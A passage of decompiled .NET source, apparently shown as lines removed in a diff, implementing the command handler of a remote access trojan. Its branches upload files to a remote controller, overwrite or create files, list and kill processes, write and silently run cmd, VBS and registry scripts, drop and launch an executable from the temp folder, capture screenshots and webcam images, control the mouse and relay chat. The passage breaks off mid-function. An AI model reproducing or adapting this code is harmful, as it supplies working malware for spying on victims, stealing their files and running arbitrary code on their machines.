- Directory.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 2
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\"));
- else
- File.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 2
- }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
- {
- (object) 1
- }, (string[]) null))), "\\\\", "\\"));
- }
- }
- else if (Operators.CompareString(Left1, "#16", false) == 0)
- {
- IND.ER = 1;
- B b = MyProject.Forms.B;
- string str48 = "#11" + IND.Y;
- Array Instance21 = Instance1;
- object[] objArray36 = new object[1];
- object[] objArray37 = objArray36;
- int num29 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local34 = (ValueType) num29;
- objArray37[0] = (object) local34;
- object[] Arguments = objArray36;
- string s15 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance21, Arguments, (string[]) null));
- string path = API.DEB(ref s15);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num29,
- (object) s15
- }, (string[]) null, true, false);
- string s16 = File.ReadAllText(path);
- string str49 = API.ENB(ref s16);
- string str50 = Conversions.ToString(Operators.ConcatenateObject((object) (str48 + str49 + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null)));
- ref string local35 = ref str50;
- b.SEND(ref local35);
- }
- else if (Operators.CompareString(Left1, "#17", false) == 0)
- {
- IND.ER = 1;
- Array Instance22 = Instance1;
- object[] objArray38 = new object[1];
- object[] objArray39 = objArray38;
- int num30 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local36 = (ValueType) num30;
- objArray39[0] = (object) local36;
- object[] Arguments9 = objArray38;
- string s17 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance22, Arguments9, (string[]) null));
- string path = API.DEB(ref s17);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num30,
- (object) s17
- }, (string[]) null, true, false);
- Array Instance23 = Instance1;
- object[] objArray40 = new object[1];
- object[] objArray41 = objArray40;
- int num31 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local37 = (ValueType) num31;
- objArray41[0] = (object) local37;
- object[] Arguments10 = objArray40;
- string s18 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance23, Arguments10, (string[]) null));
- string contents = API.DEB(ref s18);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num31,
- (object) s18
- }, (string[]) null, true, false);
- File.WriteAllText(path, contents);
- }
- else if (Operators.CompareString(Left1, "#18", false) == 0)
- {
- IND.ER = 1;
- Array Instance24 = Instance1;
- object[] objArray42 = new object[1];
- object[] objArray43 = objArray42;
- int num32 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num32;
- objArray43[0] = (object) local;
- object[] Arguments = objArray42;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance24, Arguments, (string[]) null));
- string path = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num32,
- (object) s
- }, (string[]) null, true, false);
- File.Create(path);
- }
- else if (Operators.CompareString(Left1, "#19", false) == 0)
- {
- IND.ER = 1;
- MemoryStream memoryStream = new MemoryStream();
- int num33 = Strings.InStr(str1, Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))) + NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null).ToString().Length + IND.Y.Length - 1;
- int num34 = Da.Length - 1;
- for (int index = num33; index <= num34; ++index)
- memoryStream.WriteByte(Da[index]);
- Array Instance25 = Instance1;
- object[] objArray44 = new object[1];
- object[] objArray45 = objArray44;
- int num35 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local38 = (ValueType) num35;
- objArray45[0] = (object) local38;
- object[] Arguments = objArray44;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance25, Arguments, (string[]) null));
- string path = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num35,
- (object) s
- }, (string[]) null, true, false);
- byte[] array = memoryStream.ToArray();
- bool flag = false;
- ref bool local39 = ref flag;
- byte[] bytes = API.ZIP(array, ref local39);
- File.WriteAllBytes(path, bytes);
- }
- else if (Operators.CompareString(Left1, "#20", false) == 0)
- {
- IND.ER = 1;
- Array Instance26 = Instance1;
- object[] objArray46 = new object[1];
- object[] objArray47 = objArray46;
- int num36 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local40 = (ValueType) num36;
- objArray47[0] = (object) local40;
- object[] Arguments11 = objArray46;
- string s19 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance26, Arguments11, (string[]) null));
- string Expression = API.DEB(ref s19);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num36,
- (object) s19
- }, (string[]) null, true, false);
- Array Instance27 = (Array) Strings.Split(Expression, "\\");
- MemoryStream memoryStream = new MemoryStream();
- byte[] buffer1 = (byte[]) NewLateBinding.LateGet((object) Encoding.Default, (System.Type) null, "GetBytes", new object[1]
- {
- Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#12" + IND.Y), NewLateBinding.LateIndexGet((object) Instance27, new object[1]
- {
- (object) (Instance27.Length - 1)
- }, (string[]) null)), (object) IND.Y)
- }, (string[]) null, (System.Type[]) null, (bool[]) null);
- memoryStream.Write(buffer1, 0, buffer1.Length);
- Array Instance28 = Instance1;
- object[] objArray48 = new object[1];
- object[] objArray49 = objArray48;
- int num37 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local41 = (ValueType) num37;
- objArray49[0] = (object) local41;
- object[] Arguments12 = objArray48;
- string s20 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance28, Arguments12, (string[]) null));
- string path = API.DEB(ref s20);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num37,
- (object) s20
- }, (string[]) null, true, false);
- byte[] Byt = File.ReadAllBytes(path);
- bool flag = true;
- ref bool local42 = ref flag;
- byte[] buffer2 = API.ZIP(Byt, ref local42);
- memoryStream.Write(buffer2, 0, buffer2.Length);
- MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
- memoryStream.Dispose();
- }
- else if (Operators.CompareString(Left1, "#21", false) == 0)
- {
- IND.ER = 1;
- int num38 = Instance1.Length - 1;
- for (int index = 1; index <= num38; ++index)
- {
- Thread.Sleep(10);
- string s21 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string filename = API.DEB(ref s21);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s21
- }, (string[]) null, true, false);
- new Bitmap(filename).Dispose();
- string s22 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string Expression = API.DEB(ref s22);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s22
- }, (string[]) null, true, false);
- Array Instance29 = (Array) Strings.Split(Expression, "\\");
- B b = MyProject.Forms.B;
- string[] strArray8 = new string[5]
- {
- "#13",
- IND.Y,
- null,
- null,
- null
- };
- string[] strArray9 = strArray8;
- Array Instance30 = Instance29;
- object[] objArray50 = new object[1];
- object[] objArray51 = objArray50;
- int num39 = Instance29.Length - 1;
- // ISSUE: variable of a boxed type
- __Boxed local43 = (ValueType) num39;
- objArray51[0] = (object) local43;
- object[] Arguments = objArray50;
- string s23 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance30, Arguments, (string[]) null));
- string str51 = API.ENB(ref s23);
- NewLateBinding.LateIndexSetComplex((object) Instance29, new object[2]
- {
- (object) num39,
- (object) s23
- }, (string[]) null, true, false);
- strArray9[2] = str51;
- strArray8[3] = IND.Y;
- string[] strArray10 = strArray8;
- string s24 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null));
- string path = API.DEB(ref s24);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) index,
- (object) s24
- }, (string[]) null, true, false);
- string str52 = API.FEN(File.ReadAllBytes(path));
- strArray10[4] = str52;
- string str53 = string.Concat(strArray8);
- ref string local44 = ref str53;
- b.SEND(ref local44);
- }
- }
- else if (Operators.CompareString(Left1, "#22", false) == 0)
- {
- IND.ER = 1;
- string str54;
- foreach (Process process in Process.GetProcesses())
- {
- try
- {
- str54 = str54 + IND.Y + process.MainModule.ModuleName + "*" + Conversions.ToString(process.Id);
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- str54 = str54 + IND.Y + process.ProcessName + "*" + Conversions.ToString(process.Id);
- ProjectData.ClearProjectError();
- }
- }
- B b = MyProject.Forms.B;
- string str55 = "#14" + str54;
- ref string local = ref str55;
- b.SEND(ref local);
- }
- else if (Operators.CompareString(Left1, "#23", false) == 0)
- {
- IND.ER = 1;
- int num40 = Instance1.Length - 1;
- for (int index = 1; index <= num40; ++index)
- Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null))).Kill();
- }
- else if (Operators.CompareString(Left1, "#24", false) == 0)
- {
- try
- {
- chat.clos = true;
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- Thread.Sleep(100);
- Array Instance31 = Instance1;
- object[] objArray52 = new object[1];
- object[] objArray53 = objArray52;
- int num41 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num41;
- objArray53[0] = (object) local;
- object[] Arguments = objArray52;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance31, Arguments, (string[]) null));
- string str56 = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num41,
- (object) s
- }, (string[]) null, true, false);
- B.Cht = str56;
- }
- else if (Operators.CompareString(Left1, "#25", false) == 0)
- {
- IND.ER = 0;
- if (B.Chat.InvokeRequired)
- {
- IND.indd method = new IND.indd(IND.inddd);
- Array Instance32 = Instance1;
- object[] objArray54 = new object[1];
- object[] objArray55 = objArray54;
- int num42 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num42;
- objArray55[0] = (object) local;
- object[] Arguments = objArray54;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance32, Arguments, (string[]) null));
- string str57 = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num42,
- (object) s
- }, (string[]) null, true, false);
- string str58 = str57;
- B.Chat.Invoke((Delegate) method, (object) str58);
- }
- else
- {
- RichTextBox t1 = B.Chat.T1;
- RichTextBox richTextBox = t1;
- string[] strArray11 = new string[5]
- {
- t1.Text,
- MyProject.Forms.chat.nick,
- " : ",
- null,
- null
- };
- string[] strArray12 = strArray11;
- Array Instance33 = Instance1;
- object[] objArray56 = new object[1];
- object[] objArray57 = objArray56;
- int num43 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num43;
- objArray57[0] = (object) local;
- object[] Arguments = objArray56;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance33, Arguments, (string[]) null));
- string str59 = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num43,
- (object) s
- }, (string[]) null, true, false);
- strArray12[3] = str59;
- strArray11[4] = "\r\n";
- string str60 = string.Concat(strArray11);
- richTextBox.Text = str60;
- }
- }
- else if (Operators.CompareString(Left1, "#26", false) == 0)
- {
- IND.ER = 0;
- chat.clos = true;
- }
- else if (Operators.CompareString(Left1, "#27", false) == 0)
- {
- IND.ER = 1;
- int num44 = 0;
- string s25;
- do
- {
- if (!File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)))))
- {
- s25 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- break;
- }
- try
- {
- FileSystem.Kill(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null))));
- s25 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- break;
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- ++num44;
- }
- while (num44 <= 9999);
- string lower = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null).ToString().ToLower();
- if (Operators.CompareString(lower, "cmd", false) == 0)
- {
- string path = s25;
- Array Instance34 = Instance1;
- object[] objArray58 = new object[1];
- object[] objArray59 = objArray58;
- int num45 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num45;
- objArray59[0] = (object) local;
- object[] Arguments = objArray58;
- string s26 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance34, Arguments, (string[]) null));
- string contents = API.DEB(ref s26);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num45,
- (object) s26
- }, (string[]) null, true, false);
- File.WriteAllText(path, contents);
- Interaction.Shell(s25, AppWinStyle.Hide);
- }
- else if (Operators.CompareString(lower, "vbs", false) == 0)
- {
- string path = s25;
- Array Instance35 = Instance1;
- object[] objArray60 = new object[1];
- object[] objArray61 = objArray60;
- int num46 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num46;
- objArray61[0] = (object) local;
- object[] Arguments = objArray60;
- string s27 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance35, Arguments, (string[]) null));
- string contents = API.DEB(ref s27);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num46,
- (object) s27
- }, (string[]) null, true, false);
- File.WriteAllText(path, contents);
- Process.Start(s25);
- }
- else if (Operators.CompareString(lower, "Reg", false) == 0)
- {
- string path = s25;
- Array Instance36 = Instance1;
- object[] objArray62 = new object[1];
- object[] objArray63 = objArray62;
- int num47 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num47;
- objArray63[0] = (object) local;
- object[] Arguments = objArray62;
- string s28 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance36, Arguments, (string[]) null));
- string contents = API.DEB(ref s28);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num47,
- (object) s28
- }, (string[]) null, true, false);
- File.WriteAllText(path, contents);
- Interaction.Shell(s25);
- }
- else
- {
- string path = s25;
- Array Instance37 = Instance1;
- object[] objArray64 = new object[1];
- object[] objArray65 = objArray64;
- int num48 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num48;
- objArray65[0] = (object) local;
- object[] Arguments = objArray64;
- string s29 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance37, Arguments, (string[]) null));
- string contents = API.DEB(ref s29);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num48,
- (object) s29
- }, (string[]) null, true, false);
- File.WriteAllText(path, contents);
- Process.Start(s25);
- }
- B b = MyProject.Forms.B;
- string str61 = "#10" + IND.Y + "^" + Conversions.ToString(4) + IND.Y + API.ENB(ref s25);
- ref string local45 = ref str61;
- b.SEND(ref local45);
- }
- else if (Operators.CompareString(Left1, "#28", false) == 0)
- {
- IND.ER = 1;
- object Left3 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null);
- if (Operators.ConditionalCompareObjectEqual(Left3, (object) "!", false))
- {
- B b = MyProject.Forms.B;
- string y = IND.Y;
- ref byte[] local46 = ref C.Plug;
- string str62 = "plugin.C";
- ref string local47 = ref str62;
- string str63 = "W";
- ref string local48 = ref str63;
- object obj = (object) new object[0];
- ref object local49 = ref obj;
- string s = Conversions.ToString(C.inv(ref local46, ref local47, ref local48, ref local49));
- string str64 = API.ENB(ref s);
- string str65 = "#17" + y + str64;
- ref string local50 = ref str65;
- b.SEND(ref local50);
- }
- else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "@", false))
- {
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null));
- ref byte[] local51 = ref C.Plug;
- string str66 = "plugin.C";
- ref string local52 = ref str66;
- string str67 = "CW";
- ref string local53 = ref str67;
- object[] objArray66 = new object[2]
- {
- (object) integer,
- null
- };
- object[] objArray67 = objArray66;
- Array Instance38 = Instance1;
- object[] objArray68 = new object[1];
- object[] objArray69 = objArray68;
- int num49 = 3;
- // ISSUE: variable of a boxed type
- __Boxed local54 = (ValueType) num49;
- objArray69[0] = (object) local54;
- object[] Arguments = objArray68;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance38, Arguments, (string[]) null));
- string str68 = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num49,
- (object) s
- }, (string[]) null, true, false);
- objArray67[1] = (object) str68;
- object obj = (object) objArray66;
- ref object local55 = ref obj;
- C.inv(ref local51, ref local52, ref local53, ref local55);
- }
- else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "#", false))
- {
- Array Instance39 = Instance1;
- object[] objArray70 = new object[1];
- object[] objArray71 = objArray70;
- int num50 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local56 = (ValueType) num50;
- objArray71[0] = (object) local56;
- object[] Arguments13 = objArray70;
- int integer1 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance39, Arguments13, (string[]) null));
- ref int local57 = ref integer1;
- Array Instance40 = Instance1;
- object[] objArray72 = new object[1];
- object[] objArray73 = objArray72;
- int num51 = 3;
- // ISSUE: variable of a boxed type
- __Boxed local58 = (ValueType) num51;
- objArray73[0] = (object) local58;
- object[] Arguments14 = objArray72;
- int integer2 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance40, Arguments14, (string[]) null));
- ref int local59 = ref integer2;
- API.wd.G(ref local57, ref local59);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num51,
- (object) integer2
- }, (string[]) null, true, false);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num50,
- (object) integer1
- }, (string[]) null, true, false);
- }
- else
- {
- if (!Operators.ConditionalCompareObjectEqual(Left3, (object) "$", false))
- return;
- MemoryStream memoryStream1 = new MemoryStream();
- Array Instance41 = Instance1;
- object[] objArray74 = new object[1];
- object[] objArray75 = objArray74;
- int num52 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num52;
- objArray75[0] = (object) local;
- object[] Arguments = objArray74;
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance41, Arguments, (string[]) null));
- Image image = C.Capture(ref integer);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num52,
- (object) integer
- }, (string[]) null, true, false);
- MemoryStream memoryStream2 = memoryStream1;
- ImageFormat jpeg = ImageFormat.Jpeg;
- image.Save((Stream) memoryStream2, jpeg);
- MemoryStream memoryStream3 = new MemoryStream();
- memoryStream3.Write(MyProject.Forms.B.WC.STB("#18" + IND.Y), 0, MyProject.Forms.B.WC.STB("#18" + IND.Y).Length);
- memoryStream3.Write(memoryStream1.ToArray(), 0, memoryStream1.ToArray().Length);
- MyProject.Forms.B.WC.SendData(memoryStream3.ToArray());
- memoryStream1.Dispose();
- memoryStream3.Dispose();
- MyProject.Forms.B = (B) null;
- }
- }
- else if (Operators.CompareString(Left1, "#29", false) == 0)
- {
- IND.ER = 0;
- B b = MyProject.Forms.B;
- string str69 = "#Bla";
- ref string local60 = ref str69;
- b.SEND(ref local60);
- int num53 = 0;
- string str70;
- while (File.Exists(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe"))
- {
- try
- {
- File.Delete(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe");
- str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe";
- goto label_259;
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- ++num53;
- if (num53 > 999)
- goto label_259;
- }
- str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe";
-label_259:
- string path = str70;
- byte[] Byt = API.FDE(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- bool flag = false;
- ref bool local61 = ref flag;
- byte[] bytes = API.ZIP(Byt, ref local61);
- File.WriteAllBytes(path, bytes);
- Process.Start(new ProcessStartInfo()
- {
- FileName = str70,
- Arguments = "!0@" + Application.ExecutablePath + "@" + B.SU + "@" + Conversions.ToString(Process.GetCurrentProcess().Id)
- });
- ProjectData.EndApp();
- }
- else if (Operators.CompareString(Left1, "#30", false) == 0)
- {
- try
- {
- Array Instance42 = Instance1;
- object[] objArray76 = new object[1];
- object[] objArray77 = objArray76;
- int num54 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num54;
- objArray77[0] = (object) local;
- object[] Arguments = objArray76;
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance42, Arguments, (string[]) null));
- byte[] numArray = sc.gc(ref integer);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num54,
- (object) integer
- }, (string[]) null, true, false);
- byte[] buffer = numArray;
- MemoryStream memoryStream = new MemoryStream();
- memoryStream.Write(Encoding.Default.GetBytes("#19" + IND.Y), 0, Encoding.Default.GetBytes("#19" + IND.Y).Length);
- memoryStream.Write(buffer, 0, buffer.Length);
- MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- else if (Operators.CompareString(Left1, "#31", false) == 0)
- {
- IND.ER = 0;
- if (B.Busy)
- return;
- B.Busy = true;
- B b = MyProject.Forms.B;
- string str71 = "#16" + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Width) + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Height);
- ref string local = ref str71;
- b.SEND(ref local);
- B.Busy = false;
- }
- else if (Operators.CompareString(Left1, "#32", false) == 0)
- {
- IND.ER = 0;
- Cursor.Position = new Point(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null)), Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 3
- }, (string[]) null)));
- object Left4 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null);
- if (Operators.ConditionalCompareObjectEqual(Left4, (object) 0, false))
- {
- IND.mouse_event(8, 0, 0, 0, 1);
- IND.mouse_event(16, 0, 0, 0, 1);
- }
- else if (Operators.ConditionalCompareObjectEqual(Left4, (object) 1, false))
- {
- IND.mouse_event(2, 0, 0, 0, 1);
- IND.mouse_event(4, 0, 0, 0, 1);
- }
- else
- {
- if (!Operators.ConditionalCompareObjectEqual(Left4, (object) 2, false))
- return;
- IND.mouse_event(2, 0, 0, 0, 1);
- IND.mouse_event(4, 0, 0, 0, 1);
- IND.mouse_event(2, 0, 0, 0, 1);
- IND.mouse_event(4, 0, 0, 0, 1);
- }
- }
- else if (Operators.CompareString(Left1, "#33", false) == 0)
- {
- B b = MyProject.Forms.B;
- string str72 = "#5" + IND.Y + API.Gt();
- ref string local = ref str72;
- b.SEND(ref local);
- }
- else
- {
- if (Operators.CompareString(Left1, "#34", false) != 0)
- return;
- IND.ER = 0;
- Array Instance43 = Instance1;
- object[] objArray78 = new object[1];
- object[] objArray79 = objArray78;
- int num55 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num55;
- objArray79[0] = (object) local;
- object[] Arguments = objArray78;
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance43, Arguments, (string[]) null));
- byte[] numArray = C.Capture1(ref integer);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num55,
- (object) integer
- }, (string[]) null, true, false);
- byte[] buffer = numArray;
- if (buffer.Length == 0)
- return;
- MemoryStream memoryStream = new MemoryStream();
- memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2);
- memoryStream.Write(buffer, 0, buffer.Length);
- MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
- }
- }
- catch (Exception ex)
- {
- int lErl = num1;
- ProjectData.SetProjectError(ex, lErl);
- Exception exception = ex;
- B.Busy = false;
- B b = MyProject.Forms.B;
- string[] strArray13 = new string[6]
- {
- "#10",
- IND.Y,
- "^",
- Conversions.ToString(IND.ER),
- IND.Y,
- null
- };
- string[] strArray14 = strArray13;
- string message = exception.Message;
- string str73 = API.ENB(ref message);
- strArray14[5] = str73;
- string str74 = string.Concat(strArray13);
- ref string local = ref str74;
- b.SEND(ref local);
- IND.ER = 0;
- ProjectData.ClearProjectError();
- }
- }
-
- public static string siz(string Size)
- {
- if (Size.Length < 4)
- return Size + " Bytes";
- string str1 = Conversions.ToString(Conversions.ToDouble(Size) / 1024.0);
- string str2 = " KB";
- int integer;
- if (Strings.InStr(str1, ".") > 0)
- {
- Array Instance = (Array) Strings.Split(str1, ".");
- str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null));
- if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null).ToString().Length > 3)
- integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null)), 1, 3));
- else
- integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null));
- }
- if (str1.Length > 3)
- {
- str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0);
- str2 = " MB";
- if (Strings.InStr(str1, ".") > 0)
- {
- Array Instance = (Array) Strings.Split(str1, ".");
- str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null));
- if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null).ToString().Length > 3)
- integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null)), 1, 3));
- else
- integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null));
- }
- }
- if (str1.Length > 3)
- {
- str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0);
- str2 = " GB";
- if (Strings.InStr(str1, ".") > 0)
- {
- Array Instance = (Array) Strings.Split(str1, ".");
- str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null));
- if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null).ToString().Length > 3)
- integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null)), 1, 3));
- else
- integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null));
- }
- }
- return str1 + "." + Conversions.ToString(integer) + str2;
- }
-
- [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern void mouse_event(
- int dwFlags,
- int dx,
- int dy,
- int cButtons,
- int dwExtraInfo);
-
- public static byte[] SB(ref string s, ref byte[] B)
- {
- MemoryStream memoryStream = new MemoryStream();
- byte[] bytes = Encoding.Default.GetBytes(s);
- memoryStream.Write(bytes, 0, bytes.Length);
- byte[] Byt = B;
- bool flag = true;
- ref bool local = ref flag;
- byte[] buffer = API.ZIP(Byt, ref local);
- memoryStream.Write(buffer, 0, buffer.Length);
